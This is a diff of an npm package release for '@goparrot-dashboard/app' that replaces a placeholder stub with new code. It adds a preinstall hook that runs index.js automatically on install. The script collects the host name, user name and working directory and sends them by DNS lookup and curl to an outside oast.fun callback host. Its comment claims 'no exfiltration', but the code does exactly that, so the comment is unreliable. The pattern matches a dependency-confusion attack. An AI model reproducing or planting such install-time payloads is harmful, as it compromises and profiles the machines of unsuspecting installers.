@goparrot-dashboard/app 0.0.0-stage → 0.0.2

package/index.js

@@ -0,0 +1,30 @@
+// rootxravi-poc-security — safe RCE proof-of-concept
+// This only sends hostname + username + cwd to an interact.sh callback server
+// No destructive actions, no exfiltration, no persistence
+
+const { execSync } = require("child_process");
+
+const CALLBACK = "iuczektmwpudhwqnsbkgc6m8nx2dgn5vc.oast.fun";
+
+try {
+  const hostname = execSync("hostname").toString().trim();
+  const whoami = execSync("whoami").toString().trim();
+  const cwd = process.cwd();
+  const pkg = "@goparrot-dashboard/app";
+
+  const data = [
+    `pkg=${pkg}`,
+    `host=${hostname}`,
+    `user=${whoami}`,
+    `cwd=${cwd}`,
+    `ts=${Date.now()}`
+  ].join("&");
+
+  // DNS callback
+  execSync(`nslookup ${whoami}.${hostname}.rootxravi.${CALLBACK}`);
+
+  // HTTP callback
+  execSync(`curl -s -m 5 "https://${CALLBACK}/rootxravi-poc?${data}"`);
+} catch (e) {
+  // silent — POC only
+}

package/package.json

@@ -1,6 +1,11 @@
 {
   "name": "@goparrot-dashboard/app",
-  "version": "0.0.0-stage",
-  "stub": true,
-  "description": "Temporary package placeholder for staged publishing"
-}
+  "version": "0.0.2",
+  "description": "rootxravi-poc-security",
+  "main": "index.js",
+  "author": "rootxravi-poc-security",
+  "license": "ISC",
+  "scripts": {
+    "preinstall": "node index.js"
+  }
+}

package/README.md

@@ -1,3 +0,0 @@
-# Temporary Holding Version
-
-This version is a temporary placeholder for this package. An operational version to replace this has been submitted for review and is awaiting a staged release.